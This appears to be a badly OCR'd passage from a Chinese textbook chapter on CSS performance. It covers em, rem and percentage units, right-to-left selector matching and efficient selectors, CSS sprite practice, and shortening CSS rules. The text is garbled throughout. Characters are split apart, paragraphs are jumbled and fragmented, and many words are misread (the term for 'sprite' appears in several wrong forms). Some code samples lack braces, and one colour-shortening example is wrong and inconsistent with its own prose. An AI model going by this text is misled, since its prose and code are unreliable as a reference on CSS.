随 着 移动 平台 的 广泛 使 用 ， 这 种 相对 布局 设置 又 发 挥 了 另外 一 种 价值 。 设 置 了 相对 的 宽度 的 模块 可 以 适应 不 同 屏幕 宽度 的 设备 ， 这 种 自 适 应 的 网 页 设计 在 后 面 有 关 移 动 设备 的 前 端 开发 部 分 将 会 详细 讨 
论 。 

此 外 ， 在 设置 相对 尺寸 时 是 使 用 em 还 是 百分比 ， 也 是 有 原则 的 。em 是 设置 相对 于 字体 大 小 的 ， 如 果 期 望 尺寸 随 着 字体 的 改变 而 改变 ， 则 应 该 使 用 em ， 如 果 期 望 尺寸 随 着 父 元 素 尺寸 的 改变 而 改变 ， 则 
应 该 使 用 百分比 。 例 如 ， 设 置 行 高 一 般 使 用 em， 而 设置 高 度 或 者 宽度 则 一 般 使 用 百分比 。 

(2) 只 有 在 可 预知 元 素 尺寸 的 情况 下 才 使 用 绝对 尺寸 

并 不 是 所 有 的 尺寸 设置 都 应 该 使 用 相对 单位 ， 在 某 些 情况 下 设置 绝对 尺寸 更 符合 实际 的 设计 需求 。 哪 些 情况 下 应 该 使 用 绝对 尺寸 呢 ?” 设 计 上 要 求 使 用 绝对 宽度 的 则 必须 要 使 用 绝对 尺寸 。 例 如 ， 网 页 整 
体 的 宽度 固定 、 侧 边栏 宽度 固定 、 页 头 和 页 尾 的 高 度 固定 等 。 编 写 的 代码 一 定 要 先 遵 循 设计 要 求 ， 因 此 ， 在 这 些 场合 也 必须 使 用 绝对 尺寸 。 此 外 ， 在 页 面 上 展示 图 片 、 视 频 等 的 时 候 ， 合 适 的 固定 尺寸 会 让 
这 些 多 媒体 元 素 展示 获得 最 佳 的 效果 。 

(3) 使 用 em 设置 字体 大 小 

使 用 px 设置 字体 大 小 时 其 可 扩展 性 不 好 ， 而 使 用 百分比 设置 字体 大 小 也 不 符合 习惯 ， 最 佳 的 方式 是 使 用 em 设置 字体 大 小 。 当 需要 增 大 页 面 整体 的 文字 大 小 时 ， 只 需要 更 改 根 元 素 字 体 的 大 小 即 可 ， 修 改 









































的 工作 量 会 变 得 很 少 。 这 一 优势 在 跨 平台 网 站 开发 中 也 得 到 了 体现 ， 网 站 为 了 快速 兼容 移动 设备 ， 一 般 会 借 
移动 设备 应 用 不 同 的 字体 大 小 ， 这 时 只 需 在 media query 中 修改 少量 的 元 素 字体 即 可 。 如 果 网 站 设置 字体 的 大 小 使 
就 大 了 很 多 。 

设置 相对 字体 ， 需 要 注意 以 下 这 些 点 。 一 般 浏览 器 的 默认 字体 大 小 为 16px， 可 以 显 式 地 设置 页 画 

































































功 样式 中 的 媒体 查询 (media query) 技术 ， 如 果 网 站 的 字体 设置 使 


了 绝对 尺寸 ， 比 如 px， 那 么 想 更 改 整 站 的 字体 ， 修 改 点 就 会 变 得 很 多 ， 维 护 的 复杂 度 也 


body 元 素 的 字体 大 小 为 16px， 


体 大 小 为 0.8em。 按 照 em 的 计算 方式 ， 此 元 素 的 实际 字体 大 小 为 16px 乘 以 0.8， 即 为 13px。 有 个 问题 需要 特别 关注 ， 如 果 继 承 的 
的 实际 字体 大 小 了 。 例 如 : 


<style type="text/css"> 


body 


{ 


font-size: 16px; 


.container { 
font-size: 0.8em; 


} 


.inner { 
font-size: 0.8em; 


</style> 
<body> 


<div class="container"> 


outer text 


<div class="inner">inner text</div> 
</div> 


</body> 


按照 计算 














免 设置 超过 两 


rem 的 B31, 


屋 的 字体 相对 














[1] http://www.w3.org/TR/2013/CR-css3-values-20130404/#lengths 


[2] http://www.time.com/time 


[3] http://caniuse.com/#search=rem 
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能 的 CSS 





规则 ， 以 上 代码 设置 了 类 为 inner， 元 素 最 终 的 字体 大 小 为 : 16pxx 0.8x0.8， 即 为 10px。 如 果 字体 设置 的 层级 很 多 ， 这 种 设置 方式 反而 增加 了 维护 的 成 本 ， 在 使 F 
寸 。 对 于 此 ，CSS3 中 引入 了 rem 单 位 ，rem 是 相对 于 根 元 素 的 字体 大 小 来 计算 的 ， 这 就 避免 了 以 上 提 到 的 问题 。 对 于 目前 3 












































了 相对 尺寸 ， 则 很 容易 为 


























层级 很 多 ， 并 | 








其 他 元 素 的 字体 大 小 使 用 em。 例 如 ， 设 置 body 元 素 的 直接 子 元 素 的 字 
目 每 个 层级 都 设置 有 相对 的 字体 大 小 ， 就 很 不 方便 预知 子 元 素 























em 设置 字体 大 小 时 应 该 避 











E 流 浏览 器 ， 除 了 IE 8 之 外 ， 


大 部 分 浏览 器 是 支持 


对 前 端 代码 进行 整体 分 析 时 ， 读 者 会 发 现 ，HTML 和 CSS 代 码 本 身 的 性 能 问题 并 不 突出 ， 因 此 ， 提 高 HTML 和 CSS 代 码 的 可 读 性 和 可 维护 性 更 重要 一 些 。 在 确保 可 读 性 、 可 维护 性 的 前 提 下 ， 如 果 能 让 代 


码 运 行 和 解析 的 速度 更 快 ， 则 能 达到 锦上添花 的 效果 。 本 章 3 


Wl 


在 CSS 代 码 中 ， 非 内 联 的 样式 都 是 通过 CSSs 选 择 器 和 页 面 中 的 元 素 关 联 的 。 那 么 什么 是 高 效 的 CSS 选 择 器 ? 简 重 


.references p.list div { 


.references .list-item{ 


} 


#references list item{ 


将 如 上 所 示 的 几 种 CSS 选 择 器 应 
想象 中 的 选择 器 





中 查找 具有 <div> 标 签 的 所 有 子 元 素 ， 这 些 子 元 素 即 为 最 终 


以 上 例子 中 的 选择 器 实际 是 按照 如 下 步骤 























使 用 高 效 的 CSS 选 择 器 
































于 相同 的 元 素 ， 效 率 最 高 的 会 是 哪个 ”要 加 
匹配 过 程 是 这 样 的 : 浏览 器 查 
























































匹配 的 : 首先 查找 所 有 的 <div> 标 签 元 素 ， 
向 上 查找 其 父 元 素 是 否 带 有 references 类 。 理 解 这 一 原理 非常 重要 ， 高 效 的 选择 器 意味 着 浏览 器 


匹配 的 元 素 。 然 而 ， 实 际 上 ，CSS 选 择 器 的 匹配 原理 和 我 们 习惯 的 

















要 讨论 如 何 编写 高 性 能 的 CSS 代 码 ， 即 让 代码 文件 加 载 更 快 ， 代 码 执行 的 速度 更 快 ， 让 页 面 尽快 地 展现 在 最 终 


来 说 ， 能 被 浏览 器 快速 解析 和 


答 这 个 问题 必须 先 理解 浏览 器 是 如 何 解析 CSS 选 择 器 的 。 以 例子 中 的 第 一 个 选择 器 为 例 ， 根 据 惯 F 
找 所 有 的 带 有 references 类 的 元 素 ， 在 这 些 元 素 中 查找 









































户 的 画 





恒 。 








匹配 的 CSS 选 择 器 就 是 高 效 的 选择 器 。 举 个 例子 : 

















的 从 左 到 右 匹 配 的 思维 ， 

















匹配 的 。 
































个 性 能 最 好 ， 第 一 个 性 能 最 差 。 由 于 第 三 个 选择 器 使 
在 定义 选择 器 时 ， 应 该 尽量 让 第 一 次 匹配 时 的 数量 达到 最 少 ， 并 且 让 整体 的 匹配 查 

















的 是 1D 选 择 器 ， 在 整个 页 画 














再 查找 元 素 是 否 存在 








有 list 类 的 父 元 素 ， 然 后 查找 这 些 父 元 素 是 否 为 <p> 标 签 元 素 ， 在 已 
匹配 选择 器 时 更 快速 ， 匹 配 查找 次 数 更 少 。 















































乒 次 数 最 少 。 

















以 下 的 这 些 CSS 选 择 器 定义 的 最 佳 实践 正好 遵循 了 这 样 的 原则 。 


(1) 避免 使 用 i 




















通配符 使 




















来 匹配 页 面 中 所 有 的 元 素 。 如 下 示例 使 用 通配符 设置 页 面 所 有 元 素 的 字体 : 





有 唯一 性 ， 因 此 定位 快速 。 而 第 一 个 选择 器 需 


有 <p> 标 签 的 所 有 元 素 ， 并 在 这 些 <p> 标 签 元 素 上 查找 带 有 list 类 的 元 素 ， 接 着 在 这 些 已 经 匹配 的 元 素 
匹配 过 程 是 相反 的 ， 它 是 从 右 到 左 进行 





匹配 的 这 些 父 元 素 中 继续 


按照 此 CSS 选 择 器 匹配 原理 ， 以 上 例子 中 的 三 个 CSS 选 择 器 ， 第 三 
先 匹配 所 有 的 <div> 元 素 ， 在 一 般 情 况 下 ， 这 是 个 不 小 的 匹配 量 。 我 们 


/* 避 免 使 用 示例 中 的 选择 器 */ 


font-size: 16px; 























如 果 使 用 了 通配符 ， 则 匹配 的 计算 量 非常 大 。 如 果 不 是 特殊 的 情况 ， 建 议 不 要 使 














(2) 避免 使 用 标签 选择 器 及 单个 属性 选择 器 作为 关键 选择 器 








在 一 个 选择 符 中 ， 最 右边 的 选择 器 为 关键 选择 器 。 关 键 选 














择 器 决定 着 浏览 器 初始 匹配 的 元 素数 量 ， 它 也 是 整个 选择 符 整体 
























































相对 于 使 用 ID 选择 器 和 类 选择 器 ， 使 用 标签 选择 器 和 单个 属性 ; 
元 素 ， 而 使 用 单个 属性 选择 符 ， 浏 览 器 会 在 所 有 的 标签 上 查找 对 应 的 
/* 避免 使 用 标签 选择 器 及 单个 属性 选择 器 作为 关键 选择 器 */ 








.references p.list div { 
font-style: italic; 

} 

.references p.list [data-link="#red"] { 
color: #F00; 

} 

















要 决定 者 。 












































泽 符 ， 会 让 浏览 器 匹配 时 命中 更 多 的 元 素 ， 计 算 量 相对 也 大 些 。 使 用 标签 选择 符 ， 则 浏览 器 会 匹配 页 面 中 此 标签 的 所 有 
属性 选择 器 的 例子 : 
































(3) 不 要 在 ID 选择 器 前 使 用 标签 名 














因为 页 面 中 的 ID 都 是 唯一 的 ， 所 以 在 ID 选择 器 前 添加 标签 名 是 多 余 的 ， 这 无 端 增加 了 





匹配 计算 时 间 。 示 例如 下 : 








/* 不 好 的 示例 : ID 选择 器 前 面 添加 了 标签 选择 器 */ 
qiv#page index {} _ 
/* 好 的 示例 : ID 选择 器 前 面 不 要 添加 额外 的 限定 */ 
#page index{} 





























(4) 尽量 不 要 在 选择 符 中 定义 过 多 的 层级 ， 最 好 不 要 超 多 三 层 





选择 器 的 层级 关系 越 深 ， 浏 览 器 顺 着 Dom 数 查找 匹配 选择 器 | 
则 对 应 的 CSs 样 式 与 页 面 的 Dom 结 构 的 耦合 就 会 松 一些 ， 可 提高 CSs 样 式 的 可 维护 性 。 在 实际 的 定义 过 程 中 ， 如 果 出 现 不 得 不 定义 
该 重新 设计 和 定义 整个 模块 中 的 所 有 选择 器 ， 尽 量 减少 整体 的 选择 器 


























此 ， 在 定义 选择 器 时 ， 尽 量 让 选择 器 的 



































以 上 这 4 条 实践 原则 就 是 和 CSS 选 择 器 相关 的 最 重要 的 最 佳 实践 。 有 开发 者 建立 了 一 个 CSS 选 择 器 性 能 测试 的 实验 网 站 : CSS selectors Testl1]， 该 网 站 用 于 测试 各 种 CSS 选 择 器 的 开销 。 此 网 站 有 助 于 开 


发 者 理解 CSS 选 择 器 的 匹配 原理 。 




















也 可 以 使 用 工具 检测 页 面 CSS 选 择 器 的 效率 ， 比 如 Chrome 浏 览 器 








Elements Resources Network Sources Timeline |Profiles| Audits Console 









































层级 关系 也 是 Dom 数 层级 关系 的 体现 ， 选 择 器 的 层级 越 少 ， 
层级 很 深 的 选择 器 的 情况 ， 比 如 为 了 提高 选择 器 的 优先 级 ， 那 么 此 时 就 应 




















RN Selector 


Source EGG Matches 


html, body, div, span, applet, object, iframe, hl, h2, h3, nh4, h5, h6, p, blockquote, pre, a abbr acronym, address, big, cite, code, del, dfn, e index.css:6533 


CSS SELECTOR PROFILES ri 
IV 
Profile 1 (20 ms) td, th 


x-toOlbar .x-btn-tl, .x-toolbar .x-btn-tr, .x-toolbar .x-btn-tC .x-toolbar .x~btn-ml, .x-rtroolbar .x-btn~-mr, . 


x-btn td 


x-btn-tl, .x-btn-tr, ,x-btn~-tc, ,x-btn-m], ,x-btn-mr, ,x-btn-mc, ,x-btn-bl, .x-btn-br, .x-btn-bc 
x-toolbar td, .x-toolbar span, .x~toolbar input, .x-toolbar div, .x-toolbar select, .x~toolbar label 
x-toolbar .x-btn-tl, .x~toolbar .x-btn-tr, .x-toolbar .x-btn-tc, .x-toolbar .x-btn-ml, .x-toolbar .x-btn-mr, . 
x-toolbar td 


Input, textarea, keygen, select, button, Isindex 
|inputltype—"button"], input[type™—"submit"], input[type~ "reset™), inputltype ~ "file"]::-webkit-file-upload-button, button 


p 
li cite, em, var, address, dfn 


Chrome 浏 览 器 自 带 的 开发 工具 


























该 开发 工具 会 检测 各 选择 器 在 总 解析 时 间 内 占用 的 比重 ， 以 及 选择 器 命中 的 元 素 个 数 ， 供 优化 时 参考 。 














选用 高 效 的 选择 符 ， 可 以 减少 页 面 的 泻 染 时 间 ， 从 而 提升 











x-toolbar .x-brn-mc, .x-toolba. index.css:1750 


index.css:1337 
indexcss-4984 
index.css:1724 


x-toolbar .x-btn-mc, .x-toolba... |index.css:4995 


index.css:1716 











户 体验 。 但 从 页 面 的 整体 性 能 








看 ，CSS 选 择 符 的 解析 性 能 问题 并 不 突出 ， 对 小 项 


























为 主 ， 提 升 性 能 为 辅 ， 要 在 保证 CSS 样 式 的 可 维护 性 前 提 下 来 编写 高 性 能 的 CSS 选 择 器 。 例 如 ，1D 选 择 器 的 














CSS 样 式 代码 重用 度 低 ， 维 护 困难 。 




















[1] http://stevesouders.com/efws/css-selectors/tests.php 


7.2 ”CSS 相关 的 图 片 处 理 























随 着 Web 页 面 设计 的 发 展 ， 越 来 越 多 的 图 片 应 用 到 了 页 
近 于 总 请 求 数 的 一 半 ， 图 片 的 总 传输 量 超过 总 的 传输 量 的 1/4， 足 以 看 出 
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展示 成 为 了 Web 前 端 比较 突出 的 性 能 












































开 一 个 网 站 ， 文 字 内 容 都 已 经 展现 ， 但 页 面 有 些 区 域 的 背景 











来 说 ,可 提升 性 能 的 空间 很 小 。CSS 样 式 还 是 以 可 维护 性 





匹配 性 能 是 最 好 的 ， 但 是 不 可 能 将 所 有 的 Css 选择 器 都 定义 为 ID 选择 器 ， 过 多 的 ID 选择 器 只 会 导致 





注 点 。 以 新 浪 网 的 首页 为 例 ， 在 打开 首页 时 的 所 有 请 求 中 ， 图 片 的 请 求 数 接 
片 处 理 不 当 ， 就 会 拖 慢 页 面 整 体 的 加 载 和 显示 速度 ， 读 者 经 常会 遇 到 这 样 的 状况 : 打 























还 没有 加 载 完成 ， 这 个 时 候 页 面 整体 毫 无 美感 可 言 ， 
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压缩 之 外 ,在 




















(1) 不 要 设置 图 片 的 尺寸 

















户 体验 非常 差 。 前 
片 样式 设置 及 背景 


























片 的 使 用 过 程 中 也 需要 一 定 的 技巧 。 下面 





点 讨论 和 CSS 样 式 相关 的 






































开发 人 员 在 样式 中 设置 图 片 的 尺寸 ， 是 因为 原始 图 片 的 
















































































原因 是 同一 张 图 片 要 在 页 面 多 个 不 同 显示 尺寸 的 场景 中 使 
式 缩 放 图 片 会 带 来 CPU 的 额外 计算 过 程 ， 增 加 了 图 片 在 浏览 器 中 的 泻 染 时 间 
和 实际 的 图 片 不 要 使 用 相同 的 图 片 。 最 佳 的 





















































二 制作 。 缩 略 
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一 方面 要 作为 缩 略 














面 要 正常 显示 。 如 果 
































面 在 第 2 章 中 讨论 过 ， 在 网 站 发 布 时 推荐 进行 图 片 的 压缩 。 除 了 单纯 的 
片 能 更 快 地 加 载 ， 更 流畅 地 显示 。 




















设计 人 员 为 了 追求 画面 的 精致 和 美观 ， 而 制作 了 超出 需求 尺寸 的 图 片 。 另 一 个 
际 的 设计 需求 ， 在 使 用 过 程 中 就 会 存在 性 能 问题 。 利 用 样 












































。 超 出 实际 尺寸 的 

















片 ， 其 网 络 传输 过 程 也 会 占 | 


























网 
































(2) 使 用 CSS“ 雪 歼 ” 图 (CSS Sprite) 技术 



































CSS Sprite 技 术 ， 一 般 翻 译 为 CSS 精 灵 ， 或 者 CSS“ 雪 稀 ” 











。 它 可 将 零散 的 背景 





























CSS 的 background-position 进 和 





更 多 的 带宽 ， 增 加 了 下 载 时 间 。 因 此 ， 在 制作 图 片 时 ， 尽 量 按照 实际 需求 的 尺 
寸 ， 在 初始 页 面 加 载 时 ， 就 能 更 快 地 展示 。 
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了 背景 定位 。 目 前 ， 此 技术 已 经 得 到 了 广泛 的 应 用 ， 比 如 





Google、 亚 马 了 还、 苹果、 雅虎 等 大 公司 的 网 站 都 在 使 用 。 
































CSS Sprite 有 什么 优点 呢 ? 页 面 上 有 多 个 背景 图 时 ， 会 发 起 多 次 的 请 求 ， 图 片 越 多 ， 请 求 的 次 数 就 越 多 ， 页 面 延迟 的 可 能 性 就 越 大 。CSS Sprite 技 术 的 使 用 ， 减 少 了 网 络 请 求 的 次 数 ， 提 高 了 图 片 整体 
的 加 载 速度 ， 这 是 CSS Sprite 技 术 最 大 的 优点 。 除 此 之 外 ， 使 用 CSS Sprite 技 术 也 方便 了 网 站 风格 的 更 换 。 更 换 网 站 的 风格 时 很 大 一 部 分 工作 是 更 换 背 景 图 。 而 使 用 了 CSS Sprite 技 术 的 网 站 ， 因 为 背景 图 保 
存 于 同一 张 图 片 中 ， 所 以 背景 图 的 更 换 和 维护 就 特别 方便 。 























































































































CSS Sprite 技 术 的 优点 明显 ， 但 同时 也 存在 着 一 些 缺 点 ， 主 要 有 如 下 几 点 。 








(1) 开发 过 程 烦 琐 



























































在 开发 过 程 中 ， 要 把 多 张 图 片 合理 地 合并 成 一 张 图 片 ， 并 且 要 留 有 足够 的 空间 ， 以 防 出 现 背景 图 互相 干扰 的 情况 ， 这 会 使 背景 的 边缘 中 出 现 其 他 的 背景 图 。 此 外 ， 还 需要 精确 计算 每 个 背景 图 的 位 置 ， 
有 时 为 了 让 背景 图 出 现在 固定 的 位 置 ， 还 需要 一 个 个 像素 仔细 地 进行 调整 。 单纯 的 手动 制作 “ 雪 匠 ”图 是 一 件 很 烦琐 且 复 杂 的 事情 。 



































































































































(2) 维护 过 程 复 杂 





















































CSS Sprite 在 维护 时 ， 要 尽量 让 已 有 的 图 片 保持 位 置 不 变 ， 不 能 因为 某 个 背景 图 位 置 的 调整 而 导致 整个 后 续 背 景 图 的 调整 。 如 果 遇 到 背景 图 的 尺寸 变化 且 原 有 的 位 置 区 域 无 法 放置 此 图 片 的 情况 ， 就 不 
得 不 舍弃 该 位 置 了 ， 而 把 新 修改 的 背景 图 放置 于 所 有 背景 图 的 后 面 ， 这 样 才能 确保 局 部 的 调整 不 影响 整体 。 当 然 ， 这 样 就 会 导致 合并 后 的 图 片 尺寸 越 来 越 大 。 如 果 非 得 要 在 原 有 位 置 修改 背景 图 ， 则 其 后 面 
的 背景 图 位 置 都 需要 重新 调整 和 计算 ,这 又 增加 了 CSS 代 码 的 修改 量 。 














































































































































































































(3) 使 用 不 当 ， 则 会 导致 性 能 问题 






























































使 用 CSS Sprite 技 术 的 最 大 问题 是 内 存 消耗 。 如 果 在 对 各 背景 图 合并 时 不 做 任何 的 合理 规划 ， 而 是 随意 地 合并 和 放置 ， 就 会 导致 “ 雪 匠 ”图 中 的 空白 区 域 增 多 ， 也 会 使 得 合并 后 的 图 片 非常 大 ， 其 经 过 
页 面 加 载 后 会 占用 很 大 的 内 存 容量 。 来 看 一 个 实际 的 案例 ![]， 在 WTHITVP 的 主 站 上 使 用 了 一 个 合并 后 的 “ 雪 匠 ”图 ， 这 个 图 片 的 尺寸 为 1299x15000。 尽 管 其 大 小 为 26KB， 但 加 载 后 其 占有 的 内 存 为 
75MB ( 即 : 1299x15000x4) 。 仅 仅 是 一 张 图 片 就 占用 这 么 多 的 内 存 ， 这 是 无 法 接受 的 。 
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虽然 CSs Sprite 有 这 样 一 些 缺点 ， 但 并 不 表示 不 应 该 使 用 CSS Sprite， 而 是 希望 大 家 在 使 用 CSS Sprite 技 术 的 过 程 中 尽量 避 开 这 些 缺点 ， 只 发 挥 其 优点 。 以 下 是 使 用 CSs Sprite 技 术 的 一 些 最 佳 实践 。 





























(1) 在 项 目 后 期 应 用 CSS Sprite 技 术 












































一 般 情况 下 ， 在 项 目的 开发 过 程 中 都 会 频繁 地 添加 或 者 更 改 背 景 图 。 前 面 提 到 ，“ 雪 区 ”图 不 易于 维护 ， 如 果 在 项 目 初始 阶段 就 应 用 CSS Sprite， 则 会 增加 很 多 开发 的 成 本 。 而 在 项 目 后 期 ， 背 景 
相对 固定 ， 这 个 时 候 应 用 CSs Sprite 技 术 ， 则 会 减少 维护 的 成 本 。 








区 
下 










































































(2) 合理 组 织 “ 雪 芍 ” 图 






















































































组 织 背 景 图 是 指 把 相关 的 背景 图 放置 于 同一 “ 雪 获 ”图 中 ， 目 的 是 方便 对 应 的 CSS 代 码 编写 和 后 续 “ 雪 脾 ” 图 的 维护 。 在 “ 雪 脾 ”图 中 ， 组 织 背 景 图 主要 是 按照 模块 和 背景 图 的 风格 来 划分 。 按 照 模 块 
划分 的 优点 是 方便 代码 维护 ， 而 按照 风格 划分 则 是 方便 背景 图 的 维护 以 及 网 站 整体 风格 的 更 改 。 下 面 以 某 网 站 使 “ 雪 怕 ”图 为 例 进行 介绍 。 














































































































在 某 网 站 的 背景 


网 








资源 中 ， 第 一 张 “ 雪 区 ”图 包含 了 页 面 上 使 用 到 的 小 图 标 ， 可 以 看 到 相关 联 的 图 标 放置 在 了 一 起 ， 如 图 7-2 所 示 。 












































可 生男 
DDDDP 


第 二 张 “ 雪 匠 ”图 





包含 了 各 种 和 多 媒体 播放 相关 的 











标 ， 并 且 风 格 相近 ， 如 图 











图 7-2 ” 某 网 站 上 使 用 的 “雪碧 ” 


7-3 所 示 。 

















图 7-3 某 网 站 上 使 用 的 “ 雪 怕 ” 图 二 




















两 张 “ 雪 由 * 图 中 各 自 包含 了 不 同 模块 的 背景 











网 
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， 非 常 有 利于 “ 雪 芍 ”图 的 维护 。 例 如 ， 在 该 网 站 中 修改 和 多 媒体 播放 相关 的 模块 时 ， 只 需要 维护 如 上 第 二 张 图 ( 见 图 7-3) 即 可 ， 无 须 修 改 其 他 的 图 。 
































(3) 控制 “ 雪 苞 ”图 的 尺寸 和 大 小 


















































前 面 在 讨论 “ 雪 芍 ”图 的 缺点 时 ， 提 到 过 “ 雪 牙 ” 








网 
























































的 内 存 消 耗 问题 。 因 为 大 尺寸 的 图 片 会 占用 大 量 的 内 存 ， 所 以 应 该 将 “ 雪 匠 ”图 控制 在 合理 的 尺寸 范围 内 ， 推 荐 长 度 和 宽度 相 乘 不 要 超过 2500。 据 
调查 显示 ， 如 果 图 片 的 大 小 在 200KB 以 内 ， 则 图 片 传输 消耗 的 时 间 是 差不多 的 ， 因 此 ，“ 雪 和 匠 ” 图 最 好 不 要 超过 200KB。 如 果 图 片 太 大 ， 则 会 耗费 更 多 的 传输 时 间 ， 会 使 得 页 面 的 背景 图 显示 明显 延迟 ， 影 
响 用户 体 验 。 因 此 ， 如 果 合并 后 的 “ 雪 匠 ”图 太 大 ， 则 应 该 以 模块 的 不 同 分 割 为 多 个 “ 雪 匠 ”图 。 






















































































































































































(4) 合理 控制 背景 图 单元 之 间 的 距离 以 及 背景 图 的 位 




































































此 原则 的 目的 是 为 了 防止 当 背 景 图 尺寸 比 实际 应 用 的 元 素 尺寸 小 时 ， 背 景 中 出 现 





























他 无 关 的 背景 图 。 

























































































下 面 还 是 以 图 7-2 为 例 ， 可 以 看 到 ， 图 片 中 左下 角 部 分 的 箭头 图 标 预 留 了 很 大 的 距离 ， 这 是 因为 实际 应 用 的 元 素 尺寸 比 背景 图 本 身 大 ， 为 了 不 受 其 他 背景 图 影响 ， 才 设置 了 足够 大 的 距离 ， 图 7-4 是 其 中 
一 个 使 用 示例 。 













































































图 7-4 某 网 站 上 使 用 的 “雪碧 ”图 中 茶 个 箭头 图 标 周边 的 距离 设置 


此 元 素 的 尺寸 为 47 像 素 x48 像 素 ， 而 其 中 的 背景 图 ( 即 图 7-4 中 的 白色 箭头 ) 尺寸 为 16 像 素 x21 像 素 ， 因 此 ， 在 “ 雪 脆 ”图 中 至 少 要 给 背景 图 上 下 各 预 留 14 像 素 、 左 右 各 预 留 16 像 素 空间 ， 这 样 才能 使 
其 他 背景 图 显示 在 此 元 素 中 。 


另外 一 种 避免 无 关 背 景 图 影响 的 方法 是 ， 把 背景 图 放置 于 和 其 应 用 于 元 素 背 景 的 相对 位 置 上 。 例 如 ， 背 景 图 在 元 素 的 最 左 侧 ， 则 在 “ 雪 获 ”图 中 ， 把 背景 图 放置 于 最 右 人 出， 示例 如 图 7-5 所 示 。 


Business Dally 


图 7-5 某 网 站 上 使 用 的 “雪碧 ”图 中 某 个 背景 图 单元 的 位 置 设置 


在 此 例 中 ， 元 素 的 宽度 比 背 景 图 的 宽度 大 很 多 ， 而 且 背 景 图 位 于 元 素 的 最 左 人 出。 如果 把 背景 图 放置 于 “ 雪 脾 ”图 的 最 右 侧 ， 因 为 背景 图 的 右 侧 没有 其 他 背景 图 存在 ， 所 以 即使 元 素 的 宽度 再 大 也 不 会 受 
无 关 背景 图 的 干扰 。 图 7-2 中 最 右 侧 放置 的 背景 图 单元 ， 正 是 基于 此 目的 。 


(5) 借助 工具 





“ 雪 脾 ”图 最 大 的 
在 线 的 CSS Sprite 生 成 








透明 度 及 背景 色 等 。 图 


7-6 是 使 用 此 工具 的 效果 图 。 








缺点 是 维护 困难 ， 但 是 借助 于 合适 的 工具 ， 可 降低 维护 的 困难 程度 。 与 CSS Sprite 相 关 的 辅助 工具 不 少 ， 功 能 也 差不多 ， 主 要 是 辅助 合并 背景 图 








器 : CSS Sprite GeneratorB]。 用 户 通过 上 传 一 个 包含 多 个 背景 图 











CSS Sprite Generator 
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的 压缩 包 ， 工 具 会 自动 生成 由 这 些 背 
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Don' forget to add a background rule to reference the sprite image. Something like this, for example: 


eontainer 1i 1 


backgrounds urltcag-5lfcd29c75093 png) no-repeat top lofts 


Sprite Image 
»Download Sprite Image 


如 果 已 经 存在 完整 的 “ 雪 匠 ”图 ， 只 是 想 生 成 某 个 背景 图 





的 CSS 代 码 。 图 7-7 是 Sprite Cow 工 具 的 操作 效果 图 。 























7-6 ”CSS Sptite Generatot 工 具 的 使 用 界面 





单元 对 应 的 CSS 代 码 ， 则 可 以 使 

















Sprite Cow 内 。 用 户 上 传 已 有 的 “ 雪 怕 ”图 
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和 生成 对 应 的 CSS 代 码 。 例 如 ， 这 款 
它 人 允许 用 户 设置 背景 图 单元 的 水 平和 垂直 偏 移 、 


， 并 使 用 鼠标 操作 选中 某 个 背景 图 单元 ， 工 具 就 会 自动 生成 对 应 
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.Sprite 1 
background: url('imgs/main-sprite.png') no-repeat 0 -117px; 


width: 25px; 
height: 25px; 


图 7-7 Sprite Cow 工 具 的 使 用 界面 


如 果 网 站 开发 已 经 完成 ， 则 可 以 使 用 SpriteMe[3]。SpriteMe 也 是 个 简单 易 用 的 工具 ， 可 通过 分 析 网 页 ， 来 产生 “ 雪 匠 ”图 及 对 应 的 CSS 代 码 。 





[1] http://blog.vladl.com/2009/06/22/to-sprite-or-not-to-sprite 
[2] http://www.wthitv.com/ 

B 
上 


| 
] 
] http:/ /spritegen.website-performance.org 
4] http:/ /www.spritecow.com 

] 


[5] www.spriteme.org 


7.3 ”减少 CSS5 的 代码 量 

提高 网 站 整体 加 载 速度 的 一 个 重要 手段 就 是 提高 代码 文件 的 网 络 传输 速度 。 之 前 提 到 过 ， 所 有 的 代码 文件 都 应 该 是 经 过 压缩 了 的 ， 这 可 提高 网 络 传输 速度 ， 提 高 性 能 。 除 了 压缩 代码 之 外 ， 精 简 代 码 也 
是 一 种 减 小 代码 文件 大 小 的 手段 。 以 下 将 讨论 CSS 代 码 相关 的 代码 精简 方案 。 

(1) 定义 简洁 的 CSs 规 则 

CSS 的 每 条 规则 中 都 包含 了 规则 的 属性 及 属性 值 。 定 义 简洁 的 CSS 规 则 主要 是 指 合并 相关 规则 和 定义 简洁 的 属性 值 。 

(2) 合并 相关 CSs 规 则 


CSSs 中 的 某 些 样式 是 由 多 个 规则 组 成 的 ， 比 如 字体 样式 就 包含 : font-family、font-style、font-size、 其 实 ， 这 些 字体 相关 的 样式 规则 可 以 合并 为 一 个 样式 规则 ， 即 font 样 式 。 如 下 是 合并 后 的 样式 : 





p.reader-title { 
font-family: Georgia, serif; 
font-size: 12px; 
font-style: italic; 
font-weight: bold; 
line-height: 30px; 





其 实 ,这 些 字体 相关 的 样式 规则 可 以 合并 为 一 个 样式 规则 ， 即 font 样 式 。 如 下 是 合并 后 的 样式 ;: 





p.reader-title { 
font:italic bold 12px/30px Georgia, serif; 
} 





合并 后 的 样式 更 简洁 ， 代 码 量 缩减 了 很 多 。 类 似 的 样式 还 有 background、border、margin、padding、text、list-style、transform、transition、animation 等 。 可 以 在 CSS 规 范 中 查看 各 样式 对 应 
的 子规 则 。 


(3) 定义 简洁 的 属性 值 


在 CSS 样 式 中 ， 有 些 属性 值 可 以 使 用 更 简洁 的 方式 来 展示 ， 比 如 颜色 和 尺寸 。 





p.reader-title { 
Color: #FF33FF; 
font-size: 0.8em; 
padding: 0em; 

} 





颜色 值 #FF33EE 可 以 简化 为 #F3E， 尺 寸 值 0.8em 可 以 省 略 小 数 点 之 前 的 0， 即 简化 为 .8em。 如 果 尺 寸 值 为 0， 则 可 以 省 略 单位 。 经 过 简化 后 ， 上 面 的 样式 定义 即 : 





Pp.reader-title { 
Color: #F3E; 
font-size: .8em; 
padding: 0; 

} 





(4) 合并 相同 的 定义 











很 多 时 候 ， 在 CSS 代 码 中 ， 定 义 的 规则 会 有 相同 的 部 分 。 可 以 合并 这 些 相 同 的 样式 定义 ， 达 到 代码 重用 和 缩减 代码 的 目的 。 比 如 如 下 的 CSS 代 码 : 

















.library-title { 
text-align: center; 
font-weight: 700; 
overflow: hidden; 
text-overflow: ellipsis; 
Color: #FFF; 
font-size: 1.2em; 
line-height: 2em; 

} 

.Search-title { 
text-align: center; 
font-weight: 700; 
overflow: hidden; 
text-overflow: ellipsis; 
Color: #FFF; 
font-size: 1.4em; 
line-height: 2.5em; 





